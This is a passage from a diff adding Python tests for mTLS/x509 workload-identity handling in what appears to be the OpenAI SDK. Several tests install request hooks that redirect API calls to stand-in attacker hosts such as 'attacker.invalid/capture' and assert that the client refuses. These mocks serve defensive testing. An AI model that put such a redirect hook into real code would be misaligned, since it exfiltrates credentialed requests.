OpenAI( + workload_identity=_identity(), http_client=transport, base_url="https://custom.example/v1", max_retries=0 + ) as client: + assert client.models.list().object == "list" + + assert [str(request.url) for request in requests] == [_TOKEN_URL, "https://custom.example/v1/models"] + assert requests[-1].extensions["sni_hostname"] == "private-pki.example" + + +async def test_async_x509_preserves_explicit_sni_for_custom_origins() -> None: + requests: list[httpx2.Request] = [] + + async def hook(request: httpx2.Request) -> None: + request.extensions["sni_hostname"] = "private-pki.example" + + transport = httpx2.AsyncClient( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), event_hooks={"request": [hook]} + ) + async with AsyncOpenAI( + workload_identity=_identity(), http_client=transport, base_url="https://custom.example/v1", max_retries=0 + ) as client: + assert (await client.models.list()).object == "list" + + assert [str(request.url) for request in requests] == [_TOKEN_URL, "https://custom.example/v1/models"] + assert requests[-1].extensions["sni_hostname"] == "private-pki.example" + + +@pytest.mark.parametrize("extension", ["sni_hostname", "target"]) +def test_sync_x509_rejects_conflicting_transport_extensions_on_openai_mtls_origins(extension: str) -> None: + requests: list[httpx2.Request] = [] + + def hook(request: httpx2.Request) -> None: + request.extensions[extension] = "attacker.example" if extension == "sni_hostname" else b"https://attacker/" + + http_client = httpx2.Client( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), + event_hooks={"request": [hook]}, + ) + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="hostname|target"): + client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +@pytest.mark.parametrize("extension", ["sni_hostname", "target"]) +async def test_async_x509_rejects_conflicting_transport_extensions_on_openai_mtls_origins(extension: str) -> None: + requests: list[httpx2.Request] = [] + + async def hook(request: httpx2.Request) -> None: + request.extensions[extension] = "attacker.example" if extension == "sni_hostname" else b"https://attacker/" + + http_client = httpx2.AsyncClient( + transport=httpx2.MockTransport(lambda request: _record(requests, request)), + event_hooks={"request": [hook]}, + ) + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="hostname|target"): + await client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +@pytest.mark.parametrize("mutation", ["transport", "mounts"]) +def test_sync_x509_rejects_request_hook_destination_changes_after_transport_replacement(mutation: str) -> None: + requests: list[httpx2.Request] = [] + http_client = httpx2.Client(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + def hook(request: httpx2.Request) -> None: + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + replacement = httpx2.MockTransport(lambda redirected: _record(requests, redirected)) + if mutation == "transport": + http_client._transport = replacement + else: + http_client._mounts.clear() + http_client._transport = replacement + + http_client.event_hooks["request"].append(hook) + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin"): + client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +@pytest.mark.parametrize("mutation", ["transport", "mounts"]) +async def test_async_x509_rejects_request_hook_destination_changes_after_transport_replacement(mutation: str) -> None: + requests: list[httpx2.Request] = [] + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + + async def hook(request: httpx2.Request) -> None: + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + replacement = httpx2.MockTransport(lambda redirected: _record(requests, redirected)) + if mutation == "transport": + http_client._transport = replacement + else: + http_client._mounts.clear() + http_client._transport = replacement + + http_client.event_hooks["request"].append(hook) + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin"): + await client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + +def test_sync_x509_does_not_traverse_unrelated_custom_client_state() -> None: + class UninspectableHistory(dict[str, object]): + @override + def values(self) -> Any: + raise AssertionError("unrelated application-owned request history was traversed") + + http_client = httpx2.Client(transport=httpx2.MockTransport(_response)) + vars(http_client)["request_history"] = UninspectableHistory({"nested": {"large": [object()]}}) + + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert client.models.list().object == "list" + + +async def test_async_x509_does_not_traverse_unrelated_custom_client_state() -> None: + class UninspectableHistory(dict[str, object]): + @override + def values(self) -> Any: + raise AssertionError("unrelated application-owned request history was traversed") + + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(_response)) + vars(http_client)["request_history"] = UninspectableHistory({"nested": {"large": [object()]}}) + + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert (await client.models.list()).object == "list" + + +def test_sync_x509_keeps_equal_http_clients_in_distinct_security_scopes() -> None: + class EqualClient(httpx2.Client): + @override + def __eq__(self, other: object) -> bool: + return isinstance(other, EqualClient) + + @override + def __hash__(self) -> int: + return 1 + + first_requests: list[httpx2.Request] = [] + second_requests: list[httpx2.Request] = [] + first_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(first_requests, request))) + second_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(second_requests, request))) + + def redirect(request: httpx2.Request) -> None: + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + second_transport.event_hooks["request"].append(redirect) + with OpenAI(workload_identity=_identity(), http_client=first_transport, max_retries=0) as first: + assert first.models.list().object == "list" + with OpenAI(workload_identity=_identity(), http_client=second_transport, max_retries=0) as second: + with pytest.raises(OpenAIError, match="configured API origin"): + second.models.list() + + assert [str(request.url) for request in second_requests] == [_TOKEN_URL] + + +async def test_async_x509_keeps_equal_http_clients_in_distinct_security_scopes() -> None: + class EqualClient(httpx2.AsyncClient): + @override + def __eq__(self, other: object) -> bool: + return isinstance(other, EqualClient) + + @override + def __hash__(self) -> int: + return 1 + + first_requests: list[httpx2.Request] = [] + second_requests: list[httpx2.Request] = [] + first_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(first_requests, request))) + second_transport = EqualClient(transport=httpx2.MockTransport(lambda request: _record(second_requests, request))) + + async def redirect(request: httpx2.Request) -> None: + request.url = httpx2.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + second_transport.event_hooks["request"].append(redirect) + async with AsyncOpenAI(workload_identity=_identity(), http_client=first_transport, max_retries=0) as first: + assert (await first.models.list()).object == "list" + async with AsyncOpenAI(workload_identity=_identity(), http_client=second_transport, max_retries=0) as second: + with pytest.raises(OpenAIError, match="configured API origin"): + await second.models.list() + + assert [str(request.url) for request in second_requests] == [_TOKEN_URL] + + +def test_sync_x509_accepts_unhashable_custom_http_clients() -> None: + class UnhashableClient(httpx2.Client): + @override + def __eq__(self, other: object) -> bool: + return self is other + + http_client = UnhashableClient(transport=httpx2.MockTransport(_response)) + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert client.models.list().object == "list" + + +async def test_async_x509_accepts_unhashable_custom_http_clients() -> None: + class UnhashableClient(httpx2.AsyncClient): + @override + def __eq__(self, other: object) -> bool: + return self is other + + http_client = UnhashableClient(transport=httpx2.MockTransport(_response)) + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert (await client.models.list()).object == "list" + + +def test_sync_x509_preserves_caller_default_response_encoding() -> None: + def handler(request: httpx2.Request) -> httpx2.Response: + if str(request.url) == _TOKEN_URL: + return _response(request) + return httpx2.Response(200, request=request, content=b"caf\xe9", headers={"content-type": "text/plain"}) + + transport = httpx2.Client(transport=httpx2.MockTransport(handler), default_encoding="latin-1") + with OpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: + response = client.get("/text", cast_to=httpx2.Response) + + assert response.encoding == "latin-1" + assert response.text == "café" + + +async def test_async_x509_preserves_caller_default_response_encoding() -> None: + def handler(request: httpx2.Request) -> httpx2.Response: + if str(request.url) == _TOKEN_URL: + return _response(request) + return httpx2.Response(200, request=request, content=b"caf\xe9", headers={"content-type": "text/plain"}) + + transport = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), default_encoding="latin-1") + async with AsyncOpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: + response = await client.get("/text", cast_to=httpx2.Response) + + assert response.encoding == "latin-1" + assert response.text == "café" + + +def test_sync_x509_preserves_mounted_transports_and_restores_caller_configuration() -> None: + exchange_requests: list[httpx2.Request] = [] + api_requests: list[httpx2.Request] = [] + exchange_transport = httpx2.MockTransport(lambda request: _record(exchange_requests, request)) + api_transport = httpx2.MockTransport(lambda request: _record(api_requests, request)) + http_client = httpx2.Client( + transport=exchange_transport, + mounts={"https://mtls.api.openai.com": api_transport}, + trust_env=False, + ) + original_mounts = http_client._mounts + + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert client.models.list().object == "list" + assert http_client._transport is exchange_transport + assert http_client._mounts is original_mounts + + assert [str(request.url) for request in exchange_requests] == [_TOKEN_URL] + assert [str(request.url) for request in api_requests] == [_API_URL] + + +async def test_async_x509_preserves_mounted_transports_and_restores_caller_configuration() -> None: + exchange_requests: list[httpx2.Request] = [] + api_requests: list[httpx2.Request] = [] + exchange_transport = httpx2.MockTransport(lambda request: _record(exchange_requests, request)) + api_transport = httpx2.MockTransport(lambda request: _record(api_requests, request)) + http_client = httpx2.AsyncClient( + transport=exchange_transport, + mounts={"https://mtls.api.openai.com": api_transport}, + trust_env=False, + ) + original_mounts = http_client._mounts + + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert (await client.models.list()).object == "list" + assert http_client._transport is exchange_transport + assert http_client._mounts is original_mounts + + assert [str(request.url) for request in exchange_requests] == [_TOKEN_URL] + assert [str(request.url) for request in api_requests] == [_API_URL]